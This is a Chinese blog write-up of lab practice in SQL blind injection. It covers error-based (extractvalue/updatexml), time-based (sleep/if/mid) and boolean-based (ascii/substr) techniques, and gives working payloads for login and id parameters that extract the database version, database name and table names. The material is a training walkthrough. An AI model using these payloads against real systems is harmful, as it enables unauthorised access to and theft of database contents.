web安全之SQL盲注的靶场练习和分析

news/2024/11/7 18:42:43/

目录

SQL盲注-报错回显盲注

SQL盲注-时间盲注

SQL盲注-布尔盲注


SQL盲注-报错回显盲注

在burp里面进行动态抓包,判断符号闭环,如图明显为'闭环

列数3时报错,判断当前列数为2 

强行报错注入 ,如图获取到版本号 

uname=1212' union select 1,extractvalue(1,concat(0x7e,(select version()),0x7e))#&passwd=12313&submit=Submituname=1212' or updatexml(1,concat(0x7e,database()),0)or'#&passwd=12313&submit=Submituname=1212' or extractvalue(1,concat(0x7e,database())) or'#&passwd=12313&submit=Submit

通过updatexml 或者extractvalue进行报错盲注 

uname=1212' union select 1,extractvalue(1,concat(0x7e,(select (table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e))#&passwd=12313&submit=Submituname=1212' union select 1,updatexml(1,concat(0x7e,(select (table_name) from information_schema.tables where table_schema=database() limit 3,1),0x7e),2)#&passwd=12313&submit=Submituname=1212' or updatexml(1,concat(0x7e,(select (table_name) from information_schema.tables where table_schema=database() limit 3,1),0x7e),2) or '#&passwd=12313&submit=Submit

注意:发现一次放不完,于是用limit进行分页操作,依次取0,1;1,1;2,1;3,1...进行查询 

SQL盲注-时间盲注

sleep(): Sleep 函数可以使计算机程序(进程,任务或线程)进入休眠

if(): i f 是 计算机编程语言一个关键字,分支结构的一种

mid(a,b,c): 从b开始,截取a字符串的c位

substr(a,b,c): 从b开始,截取字符串a的c长度

left(database(),1),database() : left(a,b)从左侧截取a的前b位

length(database())=8 : 判断长度

ord=ascii ascii(x)=100: 判断x的ascii值是否为100

例如:

?id=1 and sleep(if(length(database())=8,5,3))#
?id=1%20and%20sleep(if(mid(database(),1,1)=%27s%27,3,0))#

输入后发现存在延迟 

coleak' or sleep(3)#

测试长度,判断为7

coleak' or sleep(if(length(database())=8,0,2))#
coleak' or sleep(if(length(database())=7,0,2))#

分别猜测每位的字符

coleak' or sleep(if(mid(database(),1,1)='p',0,2))#

后续依次爆破每位的字符 

 

SQL盲注-布尔盲注

此关卡连or都无法使用 ,此时只能通过前面获取的name来解题

 

lucy' and length(database())=7#

接下来通过二分法进行拆解

lucy' and ascii(substr(database(),1,1))= 112 #

 接下来继续爆破数据库即可


http://www.ppmy.cn/news/2132.html

相关文章

【Linux03-基本工具之GCC】Linux下的C语言编译器

前言 接上篇,继续学习基本工具。 三、gcc 是什么 Linux下的C语言编译器(C的编译器是g,用法选项基本一样)。 既然是编译器,我们就再来加点餐…… 链接其实分为两种类型:静态链接和动态链接&#xff0…

国际学校妈妈哭诉IB太难:中国孩子都不知道怎么答题?

听别人说考国际学校的IB体系相对简单直到我看到IB试题才知道其实IB一点都不容易特别对于中国学生有大量写论文的部分来看看IB的真题有些学生真的很难下笔不知道怎么答题啊!商科生物 题目都是非常考验综合能力的,学生需要掌握很多知识点并融会贯通&#x…

2022CTF培训(五)字符串混淆进阶代码自解密

附件下载链接 复杂的字符串混淆 原理 之前的字符串混淆是一次性解密的,找到解密函数即可获得所有字符串,同时执行解密函数后内存中也可直接获得所有字符串。 因此对抗人员升级了混淆技术,使得解密仅在使用时发生,从而避免了全部…

c++还原简单的vector

文章目录vectorvecotor的介绍vector的模拟实现类的框架成员变量迭代器构造函数析构函数size()capacity()operator[]重载扩容resize()尾插验证是否为空尾删clear 清除swap交换insert插入erase删除迭代器区间初始化构造函数拷贝构造赋值运算符重载n个val构造函数再谈构造函数vect…

【强化学习论文合集】五.2017国际表征学习大会论文(ICLR2017)

强化学习(Reinforcement Learning, RL),又称再励学习、评价学习或增强学习,是机器学习的范式和方法论之一,用于描述和解决智能体(agent)在与环境的交互过程中通过学习策略以达成回报最大化或实现特定目标的问题。 本专栏整理了近几年国际顶级会议中,涉及强化学习(Rein…

嵌入式开发--RS-485通讯的问题

嵌入式开发 RS-485通讯的问题RS-485说明接口芯片硬件连接CubeMX设置代码编写引脚定义使能串口中断函数发送数据接收数据有一个问题,多收了一个数数据线上的波形问题分析问题解决RS-485说明 RS-485一般简称485总线,是最常用的工业总线之一,一…

Verilog入门学习笔记:Verilog基础语法梳理

无论是学IC设计还是FPGA开发,Verilog都是最基本、最重要的必备技能。但任何一门编程语言的掌握都需要长期学习。并不是简简单单的随便读几本书,随便动动脑筋那么简单。Verilog是一门基于硬件的独特语言,由于它最终所实现的数字电路&#xff0…

2023最新SSM计算机毕业设计选题大全(附源码+LW)之java焦作旅游网站q5msq

首先选择计算机题目的时候先看定什么主题,一般的话都选择当年最热门的话题进行组题,就比如说,今年的热门话题有奥运会,全运会,残运会,或者疫情相关的,这些都是热门话题,所以你就可以…